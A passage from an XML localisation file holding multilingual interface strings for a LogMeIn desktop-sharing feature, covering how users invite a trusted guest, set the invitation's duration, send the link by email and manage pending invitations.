<it>Richiedere supporto</it>
<ru>Запрос поддержки</ru>
<ja>サポートのリクエスト</ja>
<zh>请求支持</zh>
<ko>지원 요청</ko>
<en-gb>Request support</en-gb>
<hu>Támogatás kérése</hu>
<pt-br>Solicitar suporte</pt-br>
<nl>Aanvragen voor support</nl>
</msg>
<msg name="7">
<en>...and more!</en>
<es>...y para otras muchas cosas más.</es>
<de>...und mehr</de>
<fr>...et plus !</fr>
<it>...e altro!</it>
<ru>...и многое другое!</ru>
<ja>...その他いろいろ</ja>
<zh>...等等!</zh>
<ko>...더 많은 작업!</ko>
<en-gb>...and more!</en-gb>
<hu>... és sok másra!</hu>
<pt-br>...e muito mais!</pt-br>
<nl>...en nog veel meer!</nl>
</msg>
</cat>
<cat name="START">
<msg name="CAPTION">
<en>Desktop Sharing</en>
<es>Escritorio compartido</es>
<de>Desktopfreigabe</de>
<fr>Partage de bureau</fr>
<it>Condivisione del desktop</it>
<ru>Общий доступ к рабочему столу</ru>
<ja>デスクトップ共有</ja>
<zh>桌面共享</zh>
<ko>데스크톱 공유</ko>
<en-gb>Desktop Sharing</en-gb>
<hu>Képernyő megosztása</hu>
<pt-br>Compartilhamento do desktop</pt-br>
<nl>Bureaublad delen</nl>
</msg>
<msg name="START">
<en>Desktop Sharing</en>
<es>Escritorio compartido</es>
<de>Desktopfreigabe</de>
<fr>Partage de bureau</fr>
<it>Condivisione del desktop</it>
<ru>Общий доступ к рабочему столу</ru>
<ja>デスクトップ共有</ja>
<zh>桌面共享</zh>
<ko>데스크톱 공유</ko>
<en-gb>Desktop Sharing</en-gb>
<hu>Képernyő megosztása</hu>
<pt-br>Compartilhamento do desktop</pt-br>
<nl>Bureaublad delen</nl>
</msg>
<msg name="LAUNCH">
<en>Launch Desktop Sharing</en>
<es>Iniciar Escritorio compartido</es>
<de>Desktopfreigabe starten</de>
<fr>Lancer le partage de bureau</fr>
<it>Avvia Condivisione del desktop</it>
<ru>Запустить Oбщий доступ к рабочему столу</ru>
<ja>デスクトップ共有を起動</ja>
<zh>启动桌面共享</zh>
<ko>데스크톱 공유 실행</ko>
<en-gb>Launch Desktop Sharing</en-gb>
<hu>Képernyő megosztásának indítása</hu>
<pt-br>Iniciar compartilhamento do desktop</pt-br>
<nl>Delen van bureaublad starten</nl>
</msg>
<msg name="DESC">
<en>Invite a trusted friend or colleague to view or control your desktop. The person you invite will be able to see what you're working on - and with your permission, take control of your keyboard and mouse.</en>
<es>Invite a un amigo o compañero de confianza a ver o controlar su ordenador. La persona invitada podrá ver en lo que está trabajando, y con su permiso, puede tomar el control de su teclado y ratón.</es>
<de>Sie können vertrauenswürdige Personen einladen, vorübergehend Ihren Desktop einzusehen. Der eingeladene Gast kann Ihre Vorgänge am Bildschirm verfolgen und gegebenenfalls Ihre Tastatur und Maus steuern.</de>
<fr>Invitez un ami ou collègue auquel vous faites confiance à voir ou contrôler votre bureau. La personne invitée pourra voir sur quoi vous travaillez et, avec votre autorisation, pourra prendre le contrôle de votre clavier et de votre souris.</fr>
<it>Invita un amico o un collega fidato a visualizzare o controllare il desktop. La persona invitata sarà in grado di vedere quello che si sta facendo e, se autorizzata, potrà controllare la tastiera e il mouse.</it>
<ru>Пригласите доверенных друзей или коллег к просмотру и управлению своим рабочим столом. Приглашенный пользователь сможет наблюдать за вашей работой и вашего разрешения управлять клавиатурой и мышью.</ru>
<ja>信頼できる友人や同僚を招待して、こちらのデスクトップを閲覧または制御できるようにします。招待した人はこちらの作業を見ることができ、許可があれば、こちらのキーボードやマウスを制御することもできます。</ja>
<zh>邀请受信任的朋友或同事查看或控制您的桌面。所邀请的人员将能看到您进行的操作,并且如果获得您的许可,他们可以控制您的键盘和鼠标。</zh>
<ko>사용자의 데스크톱을 보거나 제어할 믿을 수 있는 친구나 동료를 초대합니다. 초대된 사람은 사용자의 작업을 볼 수 있으며, 사용자의 권한으로 키보드 및 마우스를 제어할 수 있습니다.</ko>
<en-gb>Invite a trusted friend or colleague to view or control your desktop. The person you invite will be able to see what you're working on - and with your permission - take control of your keyboard and mouse.</en-gb>
<hu>Hívjon meg egy megbízható barátot vagy munkatársat, megtekintsék, vagy kezeljék az Ön asztalát. A meghívott személy láthatja, hogy Ön min dolgozik - és az Ön engedélyével, vezérelheti a billentyűzetet és az egeret is.</hu>
<pt-br>Convide um amigo ou colega confiável para ver ou controlar seu desktop. A pessoa que você convida poderá ver o seu trabalho - e, com sua permissão, controlar o teclado e o mouse do seu computador.</pt-br>
<nl>Nodig vrienden of collega's uit om het bureaublad van uw computer te bekijken of te besturen. De persoon die u uitnodigt kan zien welke acties u uitvoert en als u hiervoor de toestemming geeft, kan deze persoon ook uw toetsenbord en muis bedienen.</nl>
</msg>
<msg name="RADIOINV">
<en>Invite a guest to work with you</en>
<es>Invite a un usuario a trabajar con usted</es>
<de>Einen Gast zur Zusammenarbeit einladen</de>
<fr>Invitez un tiers à travailler avec vous</fr>
<it>Invita un ospite a collaborare</it>
<ru>Пригласите гостя к совместной работе с вами</ru>
<ja>共同作業をするためにゲストを招待する</ja>
<zh>邀请来宾与您一起工作</zh>
<ko>사용자와 함께 작업할 게스트를 초대합니다</ko>
<en-gb>Invite a guest to work with you</en-gb>
<hu>Hívjon meg vendégeket, hogy együtt dolgozzanak Önnel</hu>
<pt-br>Convidar uma pessoa para trabalhar com você</pt-br>
<nl>Een gastgebruiker uitnodigen om samen met u te werken</nl>
</msg>
<msg name="RADIOSTATUS">
<en>View pending invitations</en>
<es>Ver invitaciones pendientes</es>
<de>Ausstehende Einladungen anzeigen</de>
<fr>Affichez les invitations en attente</fr>
<it>Visualizza gli inviti in sospeso</it>
<ru>Просмотреть ожидающие приглашения</ru>
<ja>保留中の招待を表示</ja>
<zh>查看待定的邀请</zh>
<ko>보류 중인 초대 보기</ko>
<en-gb>View pending invitations</en-gb>
<hu>Függő meghívók megtekintése</hu>
<pt-br>Exibir convites pendentes</pt-br>
<nl>Uitnodigingen in behandeling weergeven</nl>
</msg>
</cat>
<cat name="CONTACT">
<msg name="CAPTION">
<en>Contact Your Guest</en>
<es>Ponerse en contacto con su invitado</es>
<de>Mir Gast Kontakt aufnehmen</de>
<fr>Contactez votre invité</fr>
<it>Contatta l'ospite</it>
<ru>Связаться со своим гостем</ru>
<ja>ゲストに連絡する</ja>
<zh>与来宾联络</zh>
<ko>게스트 접속</ko>
<en-gb>Contact Your Guest</en-gb>
<hu>Vegye fel a kapcsolatot a vendégével</hu>
<pt-br>Entrar em contato com o convidado</pt-br>
<nl>Contact opnemen met uw gastgebruiker</nl>
</msg>
<msg name="DESC">
<en>Choose how you would like the invitation to be sent. %PRODUCTNAME can send an email on your behalf, or you can send the invitation - a secure link - yourself.</en>
<es>Elija cómo desea enviar la invitación. %PRODUCTNAME puede enviar un correo electrónico en su nombre o puede enviar la invitación, un vínculo seguro, usted mismo.</es>
<de>Geben Sie an, wie die Einladung gesendet werden soll. Sie können die Einladung von %PRODUCTNAME als E-Mail senden lassen. Es ist auch möglich, die Einladung selbst in Form eines sicheren Hyperlinks in einer E-Mail zu verschicken.</de>
<fr>Choisissez le mode d'envoi de l'invitation. %PRODUCTNAME peut envoyer un e-mail de votre part ou vous pouvez envoyer vous-même l'invitation sous forme de lien sécurisé.</fr>
<it>Selezionare il modo in cui l'invito deve essere inviato. %PRODUCTNAME può inviare un messaggio e-mail a nome dell'utente oppure quest'ultimo può inviare l'invito con un collegamento protetto.</it>
<ru>Выберите способ отправки приглашения. %PRODUCTNAME может отправить от вашего имени сообщение по электронной почте, или вы сами можете отправить приглашение по безопасному каналу.</ru>
<ja>招待の送信方法を選択します。%PRODUCTNAME を通じて電子メールを送信するか、または自分で招待 (セキュア リンク) を送信することもできます。</ja>
<zh>选择您希望的发送邀请的方式。%PRODUCTNAME 可以代表您发送电子邮件,或者您可以亲自发送邀请(安全链接)。</zh>
<ko>초대장을 보낼 방법을 선택합니다. %PRODUCTNAME이(가) 사용자 대신 전자 메일을 보내거나, 사용자가 직접 보안 링크로 초대장을 보낼 수 있습니다.</ko>
<en-gb>Choose how you would like the invitation to be sent. %PRODUCTNAME can send an e-mail on your behalf or you can send the invitation - a secure link - yourself.</en-gb>
<hu>Válassza ki, hogy hogyan kívánja elküldeni a meghívót. A %PRODUCTNAME e-mailt küldhet az Ön nevében, vagy Ön is elküldheti a meghívót - egy biztonságos hivatkozást.</hu>
<pt-br>Escolha como deseja que o convite seja enviado. O %PRODUCTNAME pode enviar um email em seu nome, ou você mesmo pode enviar o convite (um link seguro).</pt-br>
<nl>Kies zelf hoe u de uitnodiging wilt verzenden. Met %PRODUCTNAME kunt u de uitnodiging verzenden in een e-mailbericht of u kunt zelf een beveiligde link voor de uitnodiging verzenden.</nl>
</msg>
<msg name="RADIOAUTO">
<en>Send an email on my behalf</en>
<es>Enviar un correo electrónico en mi nombre</es>
<de>Einladung senden lassen</de>
<fr>Envoyer un e-mail de ma part</fr>
<it>Invia un messaggio e-mail a mio nome</it>
<ru>Отправить по электронной почте сообщение от моего имени</ru>
<ja>電子メールを送信してもらう</ja>
<zh>代表我发送电子邮件</zh>
<ko>본인 대신 전자 메일 보내기</ko>
<en-gb>Send an e-mail on my behalf</en-gb>
<hu>Küldjön e-mailt a nevemben</hu>
<pt-br>Enviar um email em meu nome</pt-br>
<nl>E-mailbericht verzenden in mijn naam</nl>
</msg>
<msg name="RADIOSELF">
<en>I will send the invitation myself</en>
<es>Enviaré la invitación yo mismo</es>
<de>Einladung selbst senden</de>
<fr>J'enverrai l'invitation moi-même</fr>
<it>Invierò io stesso l'invito</it>
<ru>Я сам отправлю приглашение</ru>
<ja>自分で招待を送信する</ja>
<zh>我要亲自发送邀请</zh>
<ko>직접 초대장을 보내겠습니다</ko>
<en-gb>I will send the invitation myself</en-gb>
<hu>Én magam fogom elküldeni a meghívót.</hu>
<pt-br>Eu mesmo enviarei o convite</pt-br>
<nl>Ik wil de uitnodiging zelf verzenden</nl>
</msg>
</cat>
<cat name="DETAILS">
<msg name="CAPTION">
<en>Invitation Details</en>
<es>Detalles de la invitación</es>
<de>Einladungsdetails</de>
<fr>Détails de l'invitation</fr>
<it>Dettagli invito</it>
<ru>Подробности о приглашении</ru>
<ja>招待の詳細</ja>
<zh>邀请详情</zh>
<ko>초대장 세부사항</ko>
<en-gb>Invitation Details</en-gb>
<hu>Meghívó részletei</hu>
<pt-br>Detalhes do convite</pt-br>
<nl>Detailgegevens van de uitnodiging</nl>
</msg>
<msg name="DESC">
<en>Please enter the details of your invitation below</en>
<es>Introduzca los detalles de la invitación a continuación</es>
<de>Geben Sie unten die Details für die Einladung ein.</de>
<fr>Entrez ci-dessous les détails de votre invitation</fr>
<it>Immettere di seguito i dettagli dell'invito</it>
<ru>Введите ниже подробные сведения о своем приглашении.</ru>
<ja>招待の詳細を以下に入力してください。</ja>
<zh>请在下面输入邀请详情</zh>
<ko>아래에 초대장 세부사항을 입력하십시오.</ko>
<en-gb>Please enter the details of your invitation below</en-gb>
<hu>Kérem, adja meg alább meghívójának adatait.</hu>
<pt-br>Digite a seguir os detalhes do seu convite</pt-br>
<nl>Voer hieronder de detailgegevens van uw uitnodiging in</nl>
</msg>
<msg name="NAME">
<en>Enter a name for this invitation so you can refer to it later.</en>
<es>Introduzca un nombre para esta invitación para poder referirse a ella posteriormente.</es>
<de>Geben Sie einen Namen für diese Einladung als Referenz ein.</de>
<fr>Entrez un nom pour cette invitation afin de pouvoir vous y référer ultérieurement.</fr>
<it>Immettere un nome per riferimento futuro all'invito.</it>
<ru>Введите название данного приглашения, чтобы ссылаться на его в дальнейшем.</ru>
<ja>後で参照できるように、この招待の名前を入力します。</ja>
<zh>为此邀请输入一个名称,以便以后可以引用它。</zh>
<ko>나중에 참조할 수 있도록 이 초대장의 이름을 입력하십시오.</ko>
<en-gb>Enter a name for this invitation so you can refer to it later.</en-gb>
<hu>Adjon nevet a meghívónak, így később hivatkozhat majd rá.</hu>
<pt-br>Digite um nome para este convite a fim de que você possa consultá-lo mais tarde.</pt-br>
<nl>Voer een naam voor deze uitnodiging in zodat u hiernaar later kunt verwijzen.</nl>
</msg>
<msg name="DURATION">
<en>Specify how long this invitation remains open.</en>
<es>Especifique durante cuánto tiempo permanecerá abierta esta invitación.</es>
<de>Geben Sie an, wie lange diese Einladung gilt.</de>
<fr>Précisez la durée pendant laquelle cette invitation restera ouverte.</fr>
<it>Specificare per quanto tempo l'invito deve rimanere valido.</it>
<ru>Укажите, сколько времени данное приглашение остается открытым.</ru>
<ja>この招待をオープンにする期間を指定します。</ja>
<zh>指定此邀请保持开放的期限。</zh>
<ko>이 초대장이 유효한 기간을 지정하십시오.</ko>
<en-gb>Specify how long this invitation remains open.</en-gb>
<hu>Adja meg, hogy mennyi ideig érvényes a meghívó.</hu>
<pt-br>Especifique por quanto tempo este convite permanecerá aberto.</pt-br>
<nl>Geef op hoe lang deze uitnodiging geldig blijft.</nl>
</msg>
<msg name="RAURL">
<en>How will the recipient access %PRODUCTNAME on this computer?</en>
<es>¿Durante cuánto tiempo accederá el destinatario a %PRODUCTNAME en este ordenador?</es>
<de>Wie greift der Empfänger auf diesem Computer auf %PRODUCTNAME zu?</de>
<fr>Comment le destinataire accèdera-t-il à %PRODUCTNAME sur cet ordinateur ?</fr>
<it>Come accederà il destinatario a %PRODUCTNAME su questo computer?</it>
<ru>Какой способ будет использоваться получателем при доступе к %PRODUCTNAME на данном компьютере?</ru>
<ja>受信者はどのような方法でこのコンピュータの %PRODUCTNAME にアクセスしますか?</ja>
<zh>收件人将如何对此计算机访问 %PRODUCTNAME?</zh>
<ko>수신인은 이 컴퓨터의 %PRODUCTNAME에 어떻게 액세스합니까?</ko>
<en-gb>How will the recipient access %PRODUCTNAME on this computer?</en-gb>
<hu>Hogyan fogja elérni a címzett a %PRODUCTNAME programot ezen a számítógépen?</hu>
<pt-br>Como o destinatário acessará o %PRODUCTNAME neste computador?</pt-br>
<nl>Hoe krijgt de geadresseerde toegang tot %PRODUCTNAME op deze computer?</nl>
</msg>
<msg name="MINUTES">
<en>Minutes</en>
<de>Minuten</de>
<es>Minutos</es>
<fr>Minutes</fr>
<it>Minuti</it>
<ru>минут</ru>
<ja>分</ja>
<zh>分钟</zh>
<ko>분</ko>
<en-gb>Minutes</en-gb>
<hu>perc</hu>
<pt-br>Minutos</pt-br>
<nl>minuten</nl>
</msg>
<msg name="HOURS">
<en>Hours</en>
<de>Stunden</de>
<es>Horas</es>
<fr>Heures</fr>
<it>Ore</it>
<ru>Часов</ru>
<ja>時間</ja>
<zh>小时</zh>
<ko>시간</ko>
<en-gb>Hours</en-gb>
<hu>óra</hu>
<pt-br>Horas</pt-br>
<nl>uren</nl>
</msg>
<msg name="DAYS">
<en>Days</en>
<de>Tage</de>
<es>Días</es>
<fr>Jours</fr>
<it>Giorni</it>
<ru>Дней</ru>
<ja>日</ja>
<zh>天</zh>
<ko>일</ko>
<en-gb>Days</en-gb>
<hu>nap</hu>
<pt-br>Dias</pt-br>
<nl>dagen</nl>
</msg>
<msg name="FOREVER">
<en>Forever</en>
<es>Siempre</es>
<de>Kontinuierlich</de>
<fr>Toujours</fr>
<it>Sempre</it>
<ru>Всегда</ru>
<ja>永久</ja>
<zh>永远</zh>
<ko>영원히</ko>
<en-gb>Forever</en-gb>
<hu>Mindig</hu>
<pt-br>Indefinidamente</pt-br>
<nl>Permanent</nl>
</msg>
<msg name="INVITATION">
<en>Invitation</en>
<de>Einladung</de>
<es>Invitación</es>
<fr>Invitation</fr>
<it>Invito</it>
<ru>Приглашение</ru>
<ja>招待</ja>
<zh>邀请</zh>
<ko>초대장</ko>
<en-gb>Invitation</en-gb>
<hu>Meghívó</hu>
<pt-br>Convite</pt-br>
<nl>Uitnodiging</nl>
</msg>
</cat>
<msg name="PROGRESS.TEXT">
<en>Creating the invitation, please wait...</en>
<es>Creando invitación, espere...</es>
<de>Die Einladung wird erstellt...</de>
<fr>Création de l'invitation en cours, veuillez patienter...</fr>
<it>Creazione dell'invito. Attendere...</it>
<ru>Создается приглашение, подождите...</ru>
<ja>招待状を作成しています。お待ちください。...</ja>
<zh>正在创建邀请,请稍候...</zh>
<ko>초대장을 만드는 중입니다. 기다려 주십시오...</ko>
<en-gb>Creating the invitation, please wait...</en-gb>
<hu>Meghívó létrehozása, kérem, várjon...</hu>
<pt-br>Criando o convite; aguarde...</pt-br>
<nl>Bezig met maken van uitnodiging, even geduld...</nl>
</msg>
<cat name="SENDMAIL">
<msg name="CAPTION">
<en>Compose Desktop Sharing Email</en>
<es>Escribir correo electrónico de Escritorio compartido</es>
<de>E-Mail für Desktopfreigabe erstellen</de>
<fr>Rédiger un email de partage de bureau</fr>
<it>Componi e-mail di Condivisione del desktop</it>
<ru>Составить электронное письмо для совместного использования рабочего стола</ru>
<ja>デスクトップ共有メールの作成</ja>
<zh>撰写桌面共享电子邮件</zh>
<ko>데스크톱 공유 전자 메일 구성</ko>
<en-gb>Compose Desktop Sharing Email</en-gb>
<hu>Képernyő megosztási e-mail létrehozása</hu>
<pt-br>Compor email de compartilhamento da área de trabalho</pt-br>
<nl>E-mail voor Delen van bureaublad samenstellen</nl>
</msg>
<msg name="DESC">
<en>Enter the email address of the person you're inviting to view your desktop.</en>
<es>Introduzca la dirección de correo electrónico de la persona a la que está invitando a ver su escritorio.</es>
<de>Geben Sie die E-Mail-Adresse der Person an, die Ihren Desktop anzeigen soll.</de>
<fr>Entrez l'adresse e-mail de la personne que vous invitez à voir votre bureau.</fr>
<it>Immettere l'indirizzo e-mail della persona che si sta invitando a visualizzare il desktop.</it>
<ru>Введите адрес электронной почты пользователя, который приглашается к просмотру рабочего стола.</ru>
<ja>デスクトップの閲覧を許可する人の電子メール アドレスを入力してください。</ja>
<zh>请输入您邀请查看您桌面的人员的电子邮件地址。</zh>
<ko>사용자의 데스크톱을 보도록 초대할 사람의 전자 메일 주소를 입력하십시오.</ko>
<en-gb>Enter the e-mail address of the person you're inviting to view your desktop.</en-gb>
<hu>Adja meg az Ön asztalának megtekintésére meghívott személy e-mail címét.</hu>
<pt-br>Digite o endereço de email da pessoa que você está convidando para ver seu desktop.</pt-br>
<nl>Voer het e-mailadres in van de persoon die u wil uitnodigen om uw bureaublad weer te geven.</nl>
</msg>
<msg name="SMTXT">
<en>Email address:</en>
<de>Emailadresse</de>
<es>Dirección de correo electrónico:</es>
<fr>Emailadresse</fr>
<it>Indirizzo e-mail:</it>
<ru>Адрес электронной почты:</ru>
<ja>電子メール アドレス :</ja>
<zh>电子邮件地址:</zh>
<ko>전자 메일 주소:</ko>
<en-gb>E-mail address:</en-gb>
<hu>E-mail cím:</hu>
<pt-br>Endereço de email:</pt-br>
<nl>E-mailadres:</nl>
</msg>
<msg name="SMMSGTXT">
<en>Enter a message for the recipient:</en>
<es>Introduzca un mensaje para el destinatario:</es>
<de>Geben Sie eine Nachricht für den Empfänger ein:</de>
<fr>Entrez un message pour le destinataire :</fr>
<it>Immettere un messaggio per il destinatario:</it>
<ru>Введите сообщение для данного получателя:</ru>
<ja>受信者へのメッセージを入力 :</ja>
<zh>为收件人输入信息:</zh>
<ko>수신인 메시지를 입력하십시오.</ko>
<en-gb>Enter a message for the recipient:</en-gb>
<hu>Írjon üzenetet a címzettnek:</hu>
<pt-br>Digite uma mensagem para o destinatário:</pt-br>
<nl>Voer de tekst voor het bericht voor de geadresseerde in:</nl>
</msg>
</cat>
<cat name="CREATE">
<msg name="CAPTION">
<en>Invitation Created</en>
<es>Invitación creada</es>
<de>Einladung erstellt</de>
<fr>Invitation créée</fr>
<it>Invito creato</it>
<ru>Приглашение создано</ru>
<ja>招待が作成されました</ja>
<zh>已创建邀请</zh>
<ko>초대장이 만들어짐</ko>
<en-gb>Invitation Created</en-gb>
<hu>A meghívó elkészült</hu>
<pt-br>Convite criado</pt-br>
<nl>Uitnodiging gemaakt</nl>
</msg>
<msg name="DESC">
<en>Your invitation has been created.</en>
<es>Se ha creado la invitación.</es>
<de>Die Einladung wurde erstellt.</de>
<fr>Votre invitation a été créée.</fr>
<it>L'invito è stato creato.</it>
<ru>Приглашение создано.</ru>
<ja>招待が作成されました。</ja>
<zh>您的邀请已创建完成。</zh>
<ko>초대장을 만들었습니다.</ko>
<en-gb>Your invitation has been created.</en-gb>
<hu>Az Ön meghívója elkészült.</hu>
<pt-br>Seu convite foi criado.</pt-br>
<nl>Uw uitnodiging is gemaakt.</nl>
</msg>
<msg name="URL">
<en>You can now send the URL displayed below to the recipient.</en>
<es>Ahora puede enviar la URL que aparece a continuación al destinatario.</es>
<de>Sie können jetzt den nachstehenden URL an den Empfänger senden.</de>
<fr>Vous pouvez à présent envoyer l'URL ci-dessous au destinataire.</fr>
<it>Ora è possibile inviare al destinatario l'URL visualizzato di seguito.</it>
<ru>Теперь получателю можно отправить показанный ниже URL-адрес.</ru>
<ja>以下に示した URL を受信者に今すぐ送ることができます。</ja>
<zh>您现在可以将下面显示的 URL 发送给收件人。</zh>
<ko>아래에 표시된 URL을 수신인에게 보낼 수 있습니다.</ko>
<en-gb>You can now send the URL displayed below to the recipient.</en-gb>
<hu>Most elküldheti a címzettnek az alább feltüntetett URL címet.</hu>
<pt-br>Agora você pode enviar para o destinatário o URL exibido abaixo.</pt-br>
<nl>U kunt nu het URL-adres dat hieronder is weergegeven naar de geadresseerde verzenden.</nl>
</msg>
<msg name="COPYBUT">
<en>Copy</en>
<de>Kopieren</de>
<es>Copiar</es>
<fr>Copier</fr>
<it>Copia</it>
<ru>Копировать</ru>
<ja>コピー</ja>
<zh>复制</zh>
<ko>복사</ko>
<en-gb>Copy</en-gb>
<hu>Másolás</hu>
<pt-br>Copiar</pt-br>
<nl>Kopiëren</nl>
</msg>
<msg name="COPYTXT">
<en>Click to copy the invitation to the Clipboard.</en>
<es>Haga clic para copiar la invitación en el portapapeles.</es>
<de>Klicken Sie hier, um die Einladung in die Zwischenablage zu kopieren.</de>
<fr>Cliquez pour copier l'invitation dans le presse-papiers.</fr>
<it>Fare clic per copiare l'invito negli Appunti.</it>
<ru>Щелкните здесь, чтобы скопировать приглашение в буфер обмена.</ru>
<ja>招待をクリップボードにコピーする場合は、クリックしてください。</ja>
<zh>单击可以将邀请复制到剪贴板。</zh>
<ko>초대장을 클립보드에 복사하려면 클릭하십시오.</ko>
<en-gb>Click to copy the invitation to the Clipboard.</en-gb>
<hu>Kattintson ide, hogy a meghívót a Vágólapra másolja.</hu>
<pt-br>Clique para copiar o convite na Área de transferência.</pt-br>
<nl>Klik op Kopiëren om de uitnodiging naar het Klembord te kopiëren.</nl>
</msg>
<msg name="MAILBUT">
<en>Email</en>
<es>Correo electrónico</es>
<de>Email</de>
<fr>Email</fr>
<it>E-mail</it>
<ru>Электронная почта</ru>
<ja>電子メール</ja>
<zh>电子邮件</zh>
<ko>전자 메일</ko>
<en-gb>E-mail</en-gb>
<hu>E-mail</hu>
<pt-br>Email</pt-br>
<nl>E-mail</nl>
</msg>
<msg name="MAILTXT">
<en>Click to launch your email client with the invitation.</en>
<es>Haga clic para iniciar el cliente de correo electrónico con la invitación.</es>
<de>Klicken Sie hier, um den E-Mail-Client mit der Einladung zu starten.</de>
<fr>Cliquez pour lancer votre client de messagerie électronique avec l'invitation.</fr>
<it>Fare clic per avviare il client e-mail con l'invito.</it>
<ru>Щелкните здесь, чтобы запустить клиента электронной почты с данным приглашением.</ru>
<ja>招待を持つ電子メール クライアントを開始する場合は、クリックしてください。</ja>
<zh>单击可以启动带有邀请的电子邮件客户端。</zh>
<ko>초대장으로 전자 메일 클라이언트를 실행하려면 클릭하십시오.</ko>
<en-gb>Click to send your e-mail client the invitation.</en-gb>
<hu>Kattintson ide az e-mail kliensprogram elindításához a meghívóval.</hu>
<pt-br>Clique para iniciar o cliente de email com o convite.</pt-br>
<nl>Klik hierop om uw e-mailtoepassing te starten met deze uitnodiging.</nl>
</msg>
<msg name="MAILSUBJECT.RA">
<en>Desktop Sharing link</en>
<es>Enlace de Escritorio compartido</es>
<de>Link für Desktopfreigabe</de>
<fr>Lien de partage de bureau</fr>
<it>Collegamento per la Condivisione del desktop</it>
<ru>Ссылка для совместного использования рабочего стола</ru>
<ja>デスクトップ共有リンク</ja>
<zh>桌面共享链接</zh>
<ko>데스크톱 공유 링크</ko>
<en-gb>Desktop Sharing link</en-gb>
<hu>Képernyő megosztási hivatkozás</hu>
<pt-br>Link Compartilhamento da área de trabalho</pt-br>
<nl>Koppeling voor Delen van bureaublad</nl>
</msg>
<msg name="MAILSUBJECT">
<en>Desktop Sharing link via LogMeIn.com</en>
<es>Enlace de Escritorio compartido a través de LogMeIn.com</es>
<de>Desktopfreigabelink über LogMeIn.com</de>
<fr>Lien de partage de bureau via LogMeIn.com</fr>
<it>Collegamento per la Condivisione del desktop tramite LogMeIn.com</it>
<ru>Ссылка для совместного использования рабочего стола посредством LogMeIn.com</ru>
<ja>LogMeIn.com 経由のデスクトップ共有リンク</ja>
<zh>通过 LogMeIn.com 的桌面共享链接</zh>
<ko>LogMeIn.com을 통해 데스크톱 공유 링크</ko>
<en-gb>Desktop Sharing link via LogMeIn.com</en-gb>
<hu>Képernyőmegosztási hivatkozás a LogMeIn.com webhelyen keresztül</hu>
<pt-br>Link Compartilhamento da área de trabalho via LogMeIn.com</pt-br>
<nl>Koppeling voor Delen van bureaublad via LogMeIn.com</nl>
</msg>
<msg name="MAILRECIPIENT">
<en>Enter Recipient Address</en>
<es>Introduzca la dirección del destinatario</es>
<de>Empfängeradresse eingeben</de>
<fr>Entrez l'adresse du destinataire</fr>
<it>Immetti indirizzo destinatario</it>
<ru>Введите адрес получателя</ru>
<ja>受信者アドレスを入力</ja>
<zh>输入收件人地址</zh>
<ko>수신인 주소 입력</ko>
<en-gb>Enter Recipient Address</en-gb>
<hu>Írja be a címzett címét</hu>
<pt-br>Digitar endereço do destinatário</pt-br>
<nl>Voer het e-mailadres van de geadresseerde in</nl>
</msg>
</cat>
<cat name="DONE">
<msg name="CAPTION">
<en>Invitation Sent</en>
<es>Invitación enviada</es>
<de>Einladung gesendet</de>
<fr>Invitation envoyée</fr>
<it>Invito inviato</it>
<ru>Приглашение отправлено</ru>
<ja>送信された招待</ja>
<zh>已发送邀请</zh>
<ko>초대장을 보냄</ko>
<en-gb>Invitation Sent</en-gb>
<hu>A meghívó elküldve</hu>
<pt-br>Convite enviado</pt-br>
<nl>Uitnodiging verzonden</nl>
</msg>
<msg name="DESCPREADDR">
<en>The invitation email has been successfully sent to</en>
<es>El correo electrónico con la invitación se ha enviado correctamente a</es>
<de>Die Einladungs-E-Mail wurde an folgenden Empfänger gesendet:</de>
<fr>L'e-mail d'invitation a été envoyé avec succès à</fr>
<it>Il messaggio e-mail di invito è stato inviato a</it>
<ru>Сообщение с приглашением успешно отправлено по электронной почте получателю</ru>
<ja>次の宛先に対する招待電子メールの送信に成功しました</ja>
<zh>邀请电子邮件已成功发送至</zh>
<ko>초대 전자 메일을 보냈습니다.</ko>
<en-gb>The invitation e-mail has been successfully sent to</en-gb>
<hu>A meghívó e-mail sikeresen elküldve ide:</hu>
<pt-br>O email de convite foi enviado com êxito para</pt-br>
<nl>De uitnodiging is via e-mail verzonden naar</nl>
</msg>
<msg name="DESCPOSTADDR">
<en>. You will be notified when your invitation is answered.</en>
<es>. El sistema le notificará cuando se responda la invitación.</es>
<de>. Sie werden benachrichtigt, nachdem die Einladung beantwortet wurde.</de>
<fr>. Vous serez averti lorsque la personne répondra à votre invitation.</fr>
<it>. Quando c'è una risposta all'invito, verrà inviata una notifica.</it>
<ru>. В случае ответа на приглашение высылается уведомление.</ru>
<ja>. 招待が応答された場合、通知されます。</ja>
<zh>. 邀请被应答后,系统将会通知您。</zh>
<ko>. 초대에 대한 응답이 있으면 알립니다.</ko>
<en-gb>. You will be notified when your invitation is answered.</en-gb>
<hu>. Értesítést fog kapni, ha a meghívóját megválaszolják.</hu>
<pt-br>. Você será notificado quando o convite for respondido.</pt-br>
<nl>. U krijgt een melding wanneer uw uitnodiging wordt beantwoord.</nl>
</msg>
</cat>
<cat name="STATUS">
<msg name="CAPTION">
<en>Your Invitations</en>
<es>Sus invitaciones</es>
<fr>Votre invitations</fr>
<de>Ihre Einladungen</de>
<it>Inviti</it>
<ru>Ваши приглашения</ru>
<ja>招待</ja>
<zh>您的邀请</zh>
<ko>초대장</ko>
<en-gb>Your Invitations</en-gb>
<hu>Az Ön meghívói</hu>
<pt-br>Seus convites</pt-br>
<nl>Uw uitnodigingen</nl>
</msg>
<msg name="ACTIVATE">
<en>Activate</en>
<de>Aktivieren</de>
<es>Activar</es>
<fr>Activé</fr>
<it>Attiva</it>
<ru>Пригласить</ru>
<ja>アクティブにする</ja>
<zh>激活</zh>
<ko>활성화</ko>
<en-gb>Activate</en-gb>
<hu>Aktiválás</hu>
<pt-br>Ativar</pt-br>
<nl>Activeren</nl>
</msg>
<msg name="DELETE">
<en>Delete</en>
<de>Löschen</de>
<es>Eliminar</es>
<fr>Effacer</fr>
<it>Elimina</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>삭제</ko>
<en-gb>Delete</en-gb>
<hu>Törlés</hu>
<pt-br>Excluir</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="CLEARALL">
<en>Clear all</en>
<es>Limpiar todas</es>
<de>Alle löschen</de>
<fr>Tout effacer</fr>
<it>Cancella tutto</it>
<ru>Очистить все</ru>
<ja>すべて消去</ja>
<zh>全部清除</zh>
<ko>모두 지우기</ko>
<en-gb>Clear all</en-gb>
<hu>Mindet töröl</hu>
<pt-br>Limpar tudo</pt-br>
<nl>Alles wissen</nl>
</msg>
<msg name="NEWINVITE">
<en>New Invite</en>
<es>Nueva invitación</es>
<de>Neue Einladung</de>
